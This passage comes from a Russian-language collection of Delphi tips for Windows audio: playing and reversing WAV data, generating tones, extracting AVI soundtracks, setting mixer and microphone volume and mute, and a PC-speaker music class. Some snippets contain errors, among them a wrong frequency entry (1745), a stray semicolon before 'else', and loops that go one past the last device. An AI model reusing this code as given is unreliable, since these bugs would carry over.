        Interchange(hpch1, hpch2, wBlockSize);
        Inc(hpch1, wBlockSize);
        Dec(hpch2, wBlockSize)
      end;

      GetMem(fWaveHdr, SizeOf(WAVEHDR));
      fWaveHdr^.lpData  := fData;
      fWaveHdr^.dwBufferLength := dwDataSize;
      fWaveHdr^.dwFlags := 0;
      fWaveHdr^.dwLoops := 0;
      fWaveHdr^.dwUser := 0;

      { The waveOutPrepareHeader function prepares a waveform-audio data block for playback. }
      if waveOutPrepareHeader(fWaveOutHandle, fWaveHdr,
        SizeOf(WAVEHDR)) <> MMSYSERR_NOERROR then
        raise Exception.Create('Unable to prepare header');

      { The waveOutWrite function sends a data block to the given waveform-audio output device.}
      if waveOutWrite(fWaveOutHandle, fWaveHdr, SizeOf(WAVEHDR)) <>
        MMSYSERR_NOERROR then
        raise Exception.Create('Failed to write to device');

    finally
      ReallocMem(pFormat, 0)
    end
  finally
    mmioClose(mmioHandle, 0)
  end
end;

// Play a wave file

procedure TForm1.Button1Click(Sender: TObject);
begin
  Button1.Enabled := False;
  try
    ReversePlay('C:\myWaveFile.wav')
  except
    Button1.Enabled := True;
    raise
  end
end;

// Stop Playback

procedure TForm1.Button2Click(Sender: TObject);
begin
  { The waveOutReset function stops playback on the given waveform-audio output device }
  WaveOutReset(fWaveOutHandle);
end;

procedure TForm1.WmFinished(var Msg: TMessage);
begin
  WaveOutUnprepareHeader(fWaveOutHandle, fWaveHdr, SizeOf(WAVEHDR));
  WaveOutClose(fWaveOutHandle);
  ReallocMem(fData, 0);
  ReallocMem(fWaveHdr, 0);
  Button1.Enabled := True;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  WaveOutReset(fWaveOutHandle);
  while fWaveOutHandle <> 0 do
    Application.ProcessMessages
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вывести звук через звуковую карту?

uses
  MMSystem;

type
  TVolumeLevel = 0..127;

procedure MakeSound(Frequency{Hz}, Duration{mSec}: Integer; Volume: TVolumeLevel);
  {writes tone to memory and plays it}
var
  WaveFormatEx: TWaveFormatEx;
  MS: TMemoryStream;
  i, TempInt, DataCount, RiffCount: integer;
  SoundValue: byte;
  w: double; // omega ( 2 * pi * frequency)
const
  Mono: Word = $0001;
  SampleRate: Integer = 11025; // 8000, 11025, 22050, or 44100
  RiffId: string = 'RIFF';
  WaveId: string = 'WAVE';
  FmtId: string = 'fmt ';
  DataId: string = 'data';
begin
  if Frequency > (0.6 * SampleRate) then
  begin
    ShowMessage(Format('Sample rate of %d is too Low to play a tone of %dHz',
      [SampleRate, Frequency]));
    Exit;
  end;
  with WaveFormatEx do
  begin
    wFormatTag := WAVE_FORMAT_PCM;
    nChannels := Mono;
    nSamplesPerSec := SampleRate;
    wBitsPerSample := $0008;
    nBlockAlign := (nChannels * wBitsPerSample) div 8;
    nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
    cbSize := 0;
  end;
  MS := TMemoryStream.Create;
  with MS do
  begin
    {Calculate length of sound data and of file data}
    DataCount := (Duration * SampleRate) div 1000; // sound data
    RiffCount := Length(WaveId) + Length(FmtId) + SizeOf(DWORD) +
      SizeOf(TWaveFormatEx) + Length(DataId) + SizeOf(DWORD) + DataCount; // file data
    {write out the wave header}
    Write(RiffId[1], 4); // 'RIFF'
    Write(RiffCount, SizeOf(DWORD)); // file data size
    Write(WaveId[1], Length(WaveId)); // 'WAVE'
    Write(FmtId[1], Length(FmtId)); // 'fmt '
    TempInt := SizeOf(TWaveFormatEx);
    Write(TempInt, SizeOf(DWORD)); // TWaveFormat data size
    Write(WaveFormatEx, SizeOf(TWaveFormatEx)); // WaveFormatEx record
    Write(DataId[1], Length(DataId)); // 'data'
    Write(DataCount, SizeOf(DWORD)); // sound data size
    {calculate and write out the tone signal} // now the data values
    w := 2 * Pi * Frequency; // omega
    for i := 0 to DataCount - 1 do
    begin
      SoundValue := 127 + trunc(Volume * sin(i * w / SampleRate)); // wt = w * i / SampleRate
      Write(SoundValue, SizeOf(Byte));
    end;
    {now play the sound}
    sndPlaySound(MS.Memory, SND_MEMORY or SND_SYNC);
    MS.Free;
  end;
end;

// How to call the function:

procedure TForm1.Button1Click(Sender: TObject);
begin
  MakeSound(1200, 1000, 60);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как экстрагировать аудиодорожку из AVI файла?

uses
{...}, vfw;

var
  abort: Boolean;

  {$R *.DFM}

{Special thanks to Jailbird, who developed a big part of this Code}
Please download th vfw.pas first }
{The 'SaveCallback' function allows the user to get the
 process status and abort the save progress. This function
 needn't to call by the user.}

function SaveCallback(nPercent: Int): Bool; pascal;
begin
  Application.ProcessMessages;

  Form1.Progressbar1.Position := nPercent;
  //Save Status in Percent
  if abort = True then
    Result := True
  else                //If then function returns "True", the Process will continue
    Result := False;
end;                  //If it returns "False" the process will abort

{The following function needs two parameters:

 InputFile: PChar
  Enter a Dir + Filename of a AVI File.

 OutputFile: PChar
  Enter a Dir + Filename of a WAVE File where do you want to
  put the audiodata of the movie.

  TIP:
  Enter jus a Filename of a WAVE File if the audiodata of the
  movie is in uncompressed PCM Format.

 ###########################################################

 IMPORTANT:
  Before calling the 'ExtractAVISound' function be sure that the
  Inputfile has a audiotrace.
 }

function TForm1.ExtractAVISound(InputFile, Outputfile: PChar): Boolean;
var
  PFile: IAviFile;
  PAvi: IAviStream;
  plpOptions: PAviCompressOptions;
begin
  Abort := False;

  if Fileexists(StrPas(Outputfile)) then
  begin
    case MessageDlg('Ausgabedatei existiert bereits. Ьberschreiben?',
      mtWarning, [mbYes, mbNo], 0) of
      mrYes:
        begin
          DeleteFile(StrPas(Outputfile));
        end;
      //Important because the function overwrite just
      //the part of the file which is needed.
      mrNo:
        begin
          Exit;
        end;
    end;
  end;

  try
    AviFileInit;  //Init the API
    if AviFileOpen(PFile, Inputfile, 0, nil) <> 0 then
    begin                                               //Opens a AVI File
      MessageDlg('Fehler beim laden des Videos.
      Mцglicherweise wird die Datei von einem anderen Prozess verwendet.'
        + #13#10 +
        'SchlieЯen Sie alle in Frage kommenden Anwendungen und versuchen Sie es erneut.',
        mtError, [mbOK], 0);
      Result := False;
      Exit;
    end;
    if AviFileGetStream(PFile, PAvi, StreamTypeAudio, 0) <> 0 then
    begin
      MessageDlg(
        'Fehler beim laden des AudioStreams. Bitte ьberprьfen Sie, ob dieses Video ьber einen AudioStream verfьgt.',
        mtError, [mbOK], 0);
      AviFileExit;
      Result := False;
      Exit;
    end;
    //Saves the AudioStream
    if AviSaveV(Outputfile, nil, @SaveCallback, 1, PAvi, plpOptions) <> 0 then
    begin
      MessageDlg('Fehler beim Speichern des AudioStreams oder Sie haben den Speichervorgang abgebrochen.',
        mtError, [mbOK], 0);
      AviStreamRelease(PAvi);
      AviFileExit;
      Result := False;
      Exit;
    end;
  finally
    AviStreamRelease(PAvi);
    AviFileExit;
  end;
  Result := True;
  //return 'TRUE' if all right
end;

//Example how to call the function:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if ExtractAVISound(PChar('D:\test.avi'), PChar('D:\test.wav')) = True then
    ShowMessage('Audio sucessfully saved');
  else
    ShowMessage('Error while saving...');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как изменить уровень громкости микрофона?

uses
  MMSystem;

// Set the volume for the microphone

function SetMicrophoneVolume(bValue: Word): Boolean;
var                          {0..65535}
  hMix: HMIXER;
  mxlc: MIXERLINECONTROLS;
  mxcd: TMIXERCONTROLDETAILS;
  vol: TMIXERCONTROLDETAILS_UNSIGNED;
  mxc: MIXERCONTROL;
  mxl: TMixerLine;
  intRet: Integer;
  nMixerDevs: Integer;
begin
  // Check if Mixer is available
  nMixerDevs := mixerGetNumDevs();
  if (nMixerDevs < 1) then
  begin
    Exit;
  end;

  // open the mixer
  intRet := mixerOpen(@hMix, 0, 0, 0, 0);
  if intRet = MMSYSERR_NOERROR then
  begin
    mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;
    mxl.cbStruct := SizeOf(mxl);

    // get line info
    intRet := mixerGetLineInfo(hMix, @mxl, MIXER_GETLINEINFOF_COMPONENTTYPE);

    if intRet = MMSYSERR_NOERROR then
    begin
      ZeroMemory(@mxlc, SizeOf(mxlc));
      mxlc.cbStruct := SizeOf(mxlc);
      mxlc.dwLineID := mxl.dwLineID;
      mxlc.dwControlType := MIXERCONTROL_CONTROLTYPE_VOLUME;
      mxlc.cControls := 1;
      mxlc.cbmxctrl := SizeOf(mxc);

      mxlc.pamxctrl := @mxc;
      intRet := mixerGetLineControls(hMix, @mxlc, MIXER_GETLINECONTROLSF_ONEBYTYPE);

      if intRet = MMSYSERR_NOERROR then
      begin
      {
       // Microphone Name
          Label1.Caption := mxlc.pamxctrl.szName;

        // Min/Max Volume
        Label2.Caption := IntToStr(mxc.Bounds.dwMinimum) + '->' + IntToStr(mxc.Bounds.dwMaximum);
      }
        ZeroMemory(@mxcd, SizeOf(mxcd));
        mxcd.dwControlID := mxc.dwControlID;
        mxcd.cbStruct := SizeOf(mxcd);
        mxcd.cMultipleItems := 0;
        mxcd.cbDetails := SizeOf(Vol);
        mxcd.paDetails := @vol;
        mxcd.cChannels := 1;

        // vol.dwValue := mxlc.pamxctrl.Bounds.lMinimum; Set min. Volume / Minimum setzen
        // vol.dwValue := mxlc.pamxctrl.Bounds.lMaximum; Set max. Volume / Maximum setzen
        vol.dwValue := bValue;

        intRet := mixerSetControlDetails(hMix, @mxcd,
          MIXER_SETCONTROLDETAILSF_VALUE);
        if intRet <> MMSYSERR_NOERROR then
          ShowMessage('SetControlDetails Error');
      end
      else
        ShowMessage('GetLineInfo Error');
    end;
    intRet := mixerClose(hMix);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMicrophoneVolume(30000);
end;

{********************************************************}

// Enable/disable "Mute Microphone Volume"

function SetMicrophoneVolumeMute(bMute: Boolean): Boolean;
var
  hMix: HMIXER;
  mxlc: MIXERLINECONTROLS;
  mxcd: TMIXERCONTROLDETAILS;
  vol: TMIXERCONTROLDETAILS_UNSIGNED;
  mxc: MIXERCONTROL;
  mxl: TMixerLine;
  intRet: Integer;
  nMixerDevs: Integer;
  mcdMute: MIXERCONTROLDETAILS_BOOLEAN;
begin
  // Check if Mixer is available
  // Uberprufen, ob ein Mixer vorhanden ist
  nMixerDevs := mixerGetNumDevs();
  if (nMixerDevs < 1) then
  begin
    Exit;
  end;

  // open the mixer
  intRet := mixerOpen(@hMix, 0, 0, 0, 0);
  if intRet = MMSYSERR_NOERROR then
  begin
    mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;
    mxl.cbStruct        := SizeOf(mxl);

    // mixerline info
    intRet := mixerGetLineInfo(hMix, @mxl, MIXER_GETLINEINFOF_COMPONENTTYPE);

    if intRet = MMSYSERR_NOERROR then
    begin
      ZeroMemory(@mxlc, SizeOf(mxlc));
      mxlc.cbStruct := SizeOf(mxlc);
      mxlc.dwLineID := mxl.dwLineID;
      mxlc.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
      mxlc.cControls := 1;
      mxlc.cbmxctrl := SizeOf(mxc);
      mxlc.pamxctrl := @mxc;

      // Get the mute control
      intRet := mixerGetLineControls(hMix, @mxlc, MIXER_GETLINECONTROLSF_ONEBYTYPE);

      if intRet = MMSYSERR_NOERROR then
      begin
        ZeroMemory(@mxcd, SizeOf(mxcd));
        mxcd.cbStruct := SizeOf(TMIXERCONTROLDETAILS);
        mxcd.dwControlID := mxc.dwControlID;
        mxcd.cChannels := 1;
        mxcd.cbDetails := SizeOf(MIXERCONTROLDETAILS_BOOLEAN);
        mxcd.paDetails := @mcdMute;

        mcdMute.fValue := Ord(bMute);

        // set, unset mute
        intRet := mixerSetControlDetails(hMix, @mxcd,
          MIXER_SETCONTROLDETAILSF_VALUE);
          {
          mixerGetControlDetails(hMix, @mxcd,
                                 MIXER_GETCONTROLDETAILSF_VALUE);
          Result := Boolean(mcdMute.fValue);
          }
        Result := intRet = MMSYSERR_NOERROR;

        if intRet <> MMSYSERR_NOERROR then
          ShowMessage('SetControlDetails Error');
      end
      else
        ShowMessage('GetLineInfo Error');
    end;

    intRet := mixerClose(hMix);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMicrophoneVolumeMute(False);
end;

{********************************************************}

// Enable/disable "Mute" for several mixer line sources.

uses
  MMSystem;

type
 TMixerLineSourceType = (lsDigital, lsLine, lsMicrophone, lsCompactDisk, lsTelephone,
                         lsWaveOut, lsAuxiliary, lsAnalog, lsLast);

function SetMixerLineSourceMute(AMixerLineSourceType: TMixerLineSourceType; bMute: Boolean): Boolean;
var
  hMix: HMIXER;
  mxlc: MIXERLINECONTROLS;
  mxcd: TMIXERCONTROLDETAILS;
  vol: TMIXERCONTROLDETAILS_UNSIGNED;
  mxc: MIXERCONTROL;
  mxl: TMixerLine;
  intRet: Integer;
  nMixerDevs: Integer;
  mcdMute: MIXERCONTROLDETAILS_BOOLEAN;
begin
  Result := False;
  // Check if Mixer is available
  nMixerDevs := mixerGetNumDevs();
  if (nMixerDevs < 1) then
  begin
    Exit;
  end;

  // open the mixer
  intRet := mixerOpen(@hMix, 0, 0, 0, 0);
  if intRet = MMSYSERR_NOERROR then
  begin
    ZeroMemory(@mxl, SizeOf(mxl));
    case AMixerLineSourceType of
      lsDigital: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_DIGITAL;
      lsLine: mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_LINE;
      lsMicrophone: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;
      lsCompactDisk: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC;
      lsTelephone: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_TELEPHONE;
      lsWaveOut: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT;
      lsAuxiliary: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY;
      lsAnalog : mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_ANALOG;
      lsLast: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_LAST;
    end;

    // mixerline info
    mxl.cbStruct := SizeOf(mxl);
    intRet := mixerGetLineInfo(hMix, @mxl, MIXER_GETLINEINFOF_COMPONENTTYPE);

    if intRet = MMSYSERR_NOERROR then
    begin
      ZeroMemory(@mxlc, SizeOf(mxlc));
      mxlc.cbStruct := SizeOf(mxlc);
      mxlc.dwLineID := mxl.dwLineID;
      mxlc.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
      mxlc.cControls := 1;
      mxlc.cbmxctrl := SizeOf(mxc);
      mxlc.pamxctrl := @mxc;

      // Get the mute control
      intRet := mixerGetLineControls(hMix, @mxlc, MIXER_GETLINECONTROLSF_ONEBYTYPE);

      if intRet = MMSYSERR_NOERROR then
      begin
        ZeroMemory(@mxcd, SizeOf(mxcd));
        mxcd.cbStruct := SizeOf(TMIXERCONTROLDETAILS);
        mxcd.dwControlID := mxc.dwControlID;
        mxcd.cChannels := 1;
        mxcd.cbDetails := SizeOf(MIXERCONTROLDETAILS_BOOLEAN);
        mxcd.paDetails := @mcdMute;

        mcdMute.fValue := Ord(bMute);

        // set, unset mute
        intRet := mixerSetControlDetails(hMix, @mxcd, MIXER_SETCONTROLDETAILSF_VALUE);
        {
        mixerGetControlDetails(hMix, @mxcd, IXER_GETCONTROLDETAILSF_VALUE);
        Result := Boolean(mcdMute.fValue);
        }
        Result := intRet = MMSYSERR_NOERROR;

        if intRet <> MMSYSERR_NOERROR then
          ShowMessage('SetControlDetails Error');
      end
      else
        ShowMessage('GetLineInfo Error');
    end;
    intRet := mixerClose(hMix);
  end;
end;

// Example Call;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMixerLineSourceMute(lsLine, True);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как играть MIDI без медиаплеера?

uses
  MMSystem;

// Play Midi
procedure TForm1.Button1Click;
const
  FileName = 'C:\YourFile.mid';
begin
  MCISendString(PChar('play ' + FileName), nil, 0, 0);
end;

// Stop Midi
procedure TForm1.Button1Click;
const
  FileName = 'C:\YourFile.mid';
begin
  MCISendString(PChar('stop ' + FileName), nil, 0, 0);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить bitrate WAV файла?

{....}

  private
    procedure OpenMedia(WaveFile : string);
    function GetStatus(StatusRequested : DWord) : longint;
    procedure CloseMedia;

{....}

var
  MyError, dwFlags: Longint;
  FDeviceID : Word;

{....}

uses
  MMSystem;

{....}

procedure TForm1.OpenMedia(WaveFile: string);
var
  MyOpenParms: TMCI_Open_Parms;
begin
  with MyOpenParms do
  begin
    dwCallback       := Handle; // TForm1.Handle
    lpstrDeviceType  := PChar('WaveAudio');
    lpstrElementName := PChar(WaveFile);
  end; {with MyOpenParms}
  dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
  MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
  // one could use mciSendCommand(DevId, here to specify a particular device
  if MyError = 0 then
    FDeviceID := MyOpenParms.wDeviceID
  else
    raise Exception.Create('Open Failed');
end;

function TForm1.GetStatus(StatusRequested: DWORD): Longint;
var
  MyStatusParms: TMCI_Status_Parms;
begin
  dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
  with MyStatusParms do
  begin
    dwCallback := Handle;
    dwItem     := StatusRequested;
  end;
  MyError := mciSendCommand(FDeviceID,
    MCI_STATUS,
    MCI_WAIT or MCI_STATUS_ITEM,
    Longint(@MyStatusParms));
  if MyError = 0 then
    Result := MyStatusParms.dwReturn
  else
    raise Exception.Create('Status call to get status of ' +
      IntToStr(StatusRequested) + ' Failed');
end;

procedure TForm1.CloseMedia;
var
  MyGenParms: TMCI_Generic_Parms;
begin
  if FDeviceID > 0 then
  begin
    dwFlags := 0;
    MyGenParms.dwCallback := Handle; // TForm1.Handle
    MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags, Longint(@MyGenParms));
    if MyError = 0 then
      FDeviceID := 0
    else
    begin
      raise Exception.Create('Close Failed');
    end;
  end;
end;

//Example:
//Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    OpenMedia(OpenDialog1.FileName);
    with ListBox1.Items do
    begin
      Add('Average Bytes / Sec : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC)));
      Add('Bits / Sample : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_BITSPERSAMPLE)));
      Add('Samples / Sec : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_SAMPLESPERSEC)));
      Add('Channels : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_CHANNELS)));
    end;
    CloseMedia;
  end;
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как проиграть wav из ресурса не сохраняя его в файл?

{ ... }
var
  FindHandle, ResHandle: THandle;
  ResPtr: Pointer;
begin
  FindHandle := FindResource(HInstance, 'Name of your resource', 'WAVE');
  if FindHandle <> 0 then
  begin
    ResHandle := LoadResource(HInstance, FindHandle);
    if ResHandle <> 0 then
    begin
      ResPtr := LockResource(ResHandle);
      if ResPtr <> nil then
        SndPlaySound(PChar(ResPtr), snd_ASync or snd_Memory);
      UnlockResource(ResHandle);
    end;
    FreeResource(FindHandle);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как проиграть ноту?

This is a simple class that plays a formatted musical string. It is reminiscent of the old GWBASIC days whereby one could play a string of notes via the PC speaker. I know that WAV and MIDI files are available in todays technology, but sometimes one does not need all that overhead. The class is useful for certain types of alarms (specially if the user has his sound card volume muted) or simple "Cell Phone" like jingles. The trick of the matter in Delphi is that the standard DELPHI implementation of BEEP takes no arguments and has only one sound. However the WIN API BEEP() takes two arguments.

ie.

BOOL Beep(
DWORD dwFreq, // sound frequency, in hertz
DWORD dwDuration // sound duration, in milliseconds
);

Parameters

dwFreq

Windows NT:
Specifies the frequency, in hertz, of the sound. This parameter must be in the range 37 through 32,767 (0x25 through 0x7FFF).

Windows 95:
The parameter is ignored.

dwDuration

Windows NT:
Specifies the duration, in milliseconds, of the sound.

Windows 95:
The parameter is ignored.

As can be seen it appears that BEEP() is NOT supported on WIN95, but is OK from there upwards. (I have not tested it on WIN95, but assume you will just get a monotone ???? - anyone for comment)

It is easily called by prefixing the unit
ie. Windows.Beep(Freq,Duration)

The format of the "Music String" is a comma delimited (",<" terminated) string in the following formats. (The string is CASE-INSENSITIVE and [] means optional with defaults).

A..G[+ or -][0..5][/BEATS] and

@[/BEATS]

Where A..G is the Note to be played.
+ or - is optional Sharp or Flat designator respectively. (default is normal NULL)
0..5 is optional Octave range (default = 1)
/BEATS is number of 100ms to hold the note (default = 1)

where @ is a musical pause
/BEATS is the number of beats to pause for (default = 1)

where ,< is the END OF STRING terminator.

Properties:
DefaultOctave : Used if no 0..5 designator specified in format. (System Default = 1)
BetweenNotesPause : Use to set number MS gap between notes (faster or slower default = 100ms)

Simple Example:

procedure TForm1.Button3Click(Sender: TObject);
var
  Organ: TMusicPlayer;
begin
  Organ := TMusicPlayer.Create;
  Organ.Play('A,C,C+,D/3,C,A,C,A,@,F,D/4,<');
  Organ.Play('A,A3/2,G4,G/3,@/2,D-0/4,<');
  Organ.Free;
end;

Any enhancements or additional ideas welcome. Happy jingeling.

unit Music;
interface

uses Windows, SysUtils;

// ===========================================================================
// Mike Heydon May 2002
// Simple Music Player Class Win98/2000 (Win95 not supported)
// Implements Notes A,A#/Bb,C,C#/Db,D,D#,Eb,E,F,F#/Gb,G,G#/Ab
// Caters for Octaves 0..5
// In Between Note Pause setable.
// Defailt Octave setable.
//
// Based on Frequency Matrix
//
//         Octave0   Octave1   Octave2   Octave3   Octave4   Octave5
// A       55.000    110.000   220.000   440.000   880.000   1760.000
// A#/Bb   58.270    116.541   233.082   466.164   932.328   1864.655
// B       61.735    123.471   246.942   493.883   987.767   1975.533
// C       65.406    130.813   261.626   523.251   1046.502  2093.005
// C#/Db   69.296    138.591   277.183   554.365   1108.731  2217.461
// D       73.416    146.832   293.665   587.330   1174.659  2349.318
// D#/Eb   77.782    155.563   311.127   622.254   1244.508  2489.016
// E       82.407    164.814   329.628   659.255   1318.510  2637.020
// F       87.307    174.614   349.228   698.456   1396.913  2793.826
// F#/Gb   92.499    184.997   369.994   739.989   1479.978  2959.955
// G       97.999    195.998   391.995   783.991   1567.982  3135.963
// G#/Ab   103.826   207.652   415.305   830.609   1661.219  3322.438
//
// @ = Pause
// < = End of Music String Marker
//
// ===========================================================================

type
  TOctaveNumber = 0..5;
  TNoteNumber = -1..11;

  TMusicPlayer = class(TObject)
  private
    Octave,
      FDefaultOctave: TOctaveNumber;
    NoteIdx: TNoteNumber;
    FBetweenNotesPause,
      Duration: integer;
  protected
    function ParseNextNote(var MS: string): boolean;
  public
    constructor Create;
    procedure Play(const MusicString: string);
    property DefaultOctave: TOctaveNumber read FDefaultOctave
      write FDefaultOctave;
    property BetweenNotesPause: integer read FBetweenNotesPause
      write FBetweenNotesPause;
  end;

  // ---------------------------------------------------------------------------
implementation

const
  MAXSTRING = 2048; // ASCIIZ String max length

  MHERTZ: array[0..11, 0..5] of integer = // Array of Note MHertz
  ((55, 110, 220, 440, 880, 1760), // A
    (58, 117, 233, 466, 932, 1865), // A+ B-
    (62, 123, 247, 494, 988, 1976), // B
    (65, 131, 262, 523, 1047, 2093), // C
    (69, 139, 277, 554, 1109, 2217), // C+ D-
    (73, 147, 294, 587, 1175, 2349), // D
    (78, 156, 311, 622, 1245, 2489), // D+ E-
    (82, 165, 330, 659, 1319, 2637), // E
    (87, 1745, 349, 698, 1397, 2794), // F
    (92, 185, 370, 740, 1480, 2960), // F+ G-
    (98, 196, 392, 784, 1568, 3136), // G
    (105, 208, 415, 831, 1661, 3322) // G+ A-
    );

  // =======================================
  // Create the object and set defaults
  // =======================================

constructor TMusicPlayer.Create;
begin
  FDefaultOctave := 1;
  FBetweenNotesPause := 100;
end;

// ===========================================================
// Parse the next note and set Octave,NoteIdx and Duration
// ===========================================================

function TMusicPlayer.ParseNextNote(var MS: string): boolean;
var
  NS: string; // Note String
  Beats,
    CommaPos: integer;
  Retvar: boolean;
begin
  Retvar := false; // Assume Error Condition
  Beats := 1;
  Duration := 0;
  NoteIdx := 0;
  Octave := FDefaultOctave;
  CommaPos := pos(',', MS);

  if (CommaPos > 0) then
  begin
    NS := trim(copy(MS, 1, CommaPos - 1)); // Next Note info
    MS := copy(MS, CommaPos + 1, MAXSTRING); // Remove note from music string

    if (length(NS) >= 1) and (NS[1] in ['@'..'G']) then
    begin
      Retvar := true; // Valid Note - set return type true

      // Resolve NoteIdx
      NoteIdx := byte(NS[1]) - 65; // Map 'A'..'G' into 0..11 or -1
      NS := copy(NS, 2, MAXSTRING); // Remove the Main Note ID

      // Handle the @ Pause first
      if NoteIdx = -1 then
      begin
        if (length(NS) >= 1) and (NS[1] = '/') then
          Beats := StrToIntDef(copy(NS, 2, MAXSTRING), 1);
        Sleep(100 * Beats);
        Retvar := false; // Nothing to play
        NS := ''; // Stop further processing
      end;

      // Resolve Sharp or Flast
      if (length(NS) >= 1) and (NS[1] in ['+', '-']) then
      begin
        if NS[1] = '+' then // # Sharp
          inc(NoteIdx)
        else if NS[1] = '-' then // b Flat
          dec(NoteIdx);

        if NoteIdx = -1 then
          NoteIdx := 11; // Roll A Flat to G Sharp
        NS := copy(NS, 2, MAXSTRING); // Remove Flat/Sharp ID
      end;

      // Resolve Octave Number - Default := FDefaultOctave
      if (length(NS) >= 1) and (NS[1] in ['0'..'5']) then
      begin
        Octave := byte(NS[1]) - 48; // map '0'..'5' to 0..5 decimal
        NS := copy(NS, 2, MAXSTRING); // Remove Octave Number
      end;

      // Resolve Number of Beats - Default = 1
      if (length(NS) >= 1) and (NS[1] = '/') then
        Beats := StrToIntDef(copy(NS, 2, MAXSTRING), 1);

      Duration := 100 * Beats;
    end;
  end
  else
    MS := ''; // Signal end of music string

  Result := Retvar;
end;

// ===================================
// Play the passed music string
// ===================================

procedure TMusicPlayer.Play(const MusicString: string);
var
  MS: string; // Music String
begin
  MS := trim(UpperCase(MusicString));

  while (MS <> '') do
  begin
    if ParseNextNote(MS) then
    begin
      Windows.Beep(MHERTZ[NoteIdx, Octave], Duration);
      Sleep(FBetweenNotesPause);
    end;
  end;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Изменить громкость

Эта программа увеличивает громкость выбранного канала на 1000:

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var
  vol: longint;
  LVol, RVol: integer;
begin
  AuxGetVolume(ListBox1.ItemIndex, @Vol);
  LVol := Vol shr 16;
  if LVol < MaxWord - 1000 then
    LVol := LVol + 1000
  else
    LVol := MaxWord;
  RVol := (Vol shl 16) shr 16;
  if RVol < MaxWord - 1000 then
    RVol := RVol + 1000
  else
    RVol := MaxWord;
  AuxSetVolume(ListBox1.ItemIndex, LVol shl 16 + RVol);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  i: integer;
  cap: TAuxCaps;
begin
  for i := 0 to auxGetNumDevs - 1 do
  begin
    auxGetDevCaps(i, Addr(cap), SizeOf(cap));
    ListBox1.Items.Add(cap.szPname)
  end;
end;

procedure SetVolume(X: Word);
var
  iErr: Integer;
  i: integer;
  a: TAuxCaps;
begin
  for i := 0 to auxGetNumDevs do
  begin
    auxGetDevCaps(i, Addr(a), SizeOf(a));
    if a.wTechnology = AUXCAPS_CDAUDIO then
      break;
  end;

  // Устанавливаем одинаковую громкость для левого и правого каналов.
  // VOLUME := LEFT*$10000 + RIGHT*1

  iErr := auxSetVolume(i, (X * $10001));
  if (iErr‹›0) then
    ShowMessage('No audio devices are available!');
end;

function GetVolume: Word;
var
  iErr: Integer;
  i: integer;
  a: TAuxCaps;
  vol: word;
begin
  for i := 0 to auxGetNumDevs do
  begin
    auxGetDevCaps(i, Addr(a), SizeOf(a));
    if a.wTechnology = AUXCAPS_CDAUDIO then
      break;
  end;
  iErr := auxGetVolume(i, addr(vol));
  GetVolume := vol;
  if (iErr‹›0) then
    ShowMessage('No audio devices are available!');
end;

unit Volumes;

interface

uses
  Windows, Messages, Classes, ExtCtrls, ComCtrls, MMSystem;

const
  CDVolume       = 0;
  WaveVolume     = 1;
  MidiVolume     = 2;

type
  TVolumeControl = class(TComponent)
  private
    FDevices     : array[0..2] of Integer;
    FTrackBars   : array[0..2] of TTrackBar;
    FTimer       : TTimer;
    function       GetInterval: Integer;
    procedure      SetInterval(AInterval: Integer);
    function       GetVolume(AIndex: Integer): Byte;
    procedure      SetVolume(AIndex: Integer; aVolume: Byte);
    procedure      InitVolume;
    procedure      SetTrackBar(AIndex: Integer; ATrackBar: TTrackBar);
    { Private declarations }
    procedure      Update(Sender: TObject);
    procedure      Changed(Sender: TObject);
  protected
    { Protected declarations }
    procedure      Notification(AComponent: TComponent; AOperation:
TOperation); override;
  public
    { Public declarations }
    constructor    Create(AOwner: TComponent); override;
    destructor     Destroy; override;
  published
    { Published declarations }
    property       Interval: Integer read GetInterval write SetInterval default
500;
    property       CDVolume: Byte index 0 read GetVolume write SetVolume stored
False;
    property       CDTrackBar: TTrackBar index 0 read FTrackBars[0] write
SetTrackBar;
    property       WaveVolume: Byte index 1 read GetVolume write SetVolume
stored False;
    property       WaveTrackBar: TTrackBar index 1 read FTrackBars[1] write
SetTrackBar;
